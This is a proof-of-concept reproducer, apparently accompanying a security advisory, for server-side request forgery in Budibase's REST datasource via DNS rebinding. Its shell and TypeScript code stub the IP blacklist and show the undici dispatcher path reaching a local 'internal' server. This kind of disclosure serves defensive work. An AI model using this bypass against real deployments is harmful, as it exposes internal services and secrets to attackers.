Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)

# 1. Attacker controls a domain whose DNS TTL is 0.
#    Validation resolves to a public IP (passes blacklist).
#    At connect time it resolves to the internal target.
#
# Stand-in PoC using localhost (mirrors advisory's self-contained reproducer):

export BB=/path/to/budibase
mkdir ssrf-poc && cd ssrf-poc
SRC="$BB/packages/backend-core/src"

mkdir -p real/utils real/blacklist
cp "$SRC/utils/outboundFetch.ts" real/utils/
cp "$SRC/utils/fetch.ts"         real/utils/

# Stub: validation sees a safe public IP (rebinding simulation)
cat > real/blacklist/index.ts <<'EOF'
const SAFE = "203.0.113.10"
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
EOF

# Harness: real guard + real dispatcher, exact rest.ts call pattern
cat > entry.ts <<'EOF'
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch"
import { getDispatcher } from "./real/utils/fetch"
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port

  // REST/undici path -- mirrors rest.ts exactly
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  const r: any = await fetchWithBlacklist(
    `http://localhost:${port}/`,
    { method: "GET" } as any,
    { fetchFn: restFetchFn }
  )
  console.log("(A) REST/undici ->", await r.text())
  // Expected: INTERNAL_SECRET_RESPONSE  <- guard bypassed
  server.close()
}
main()
EOF

npm init -y && npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs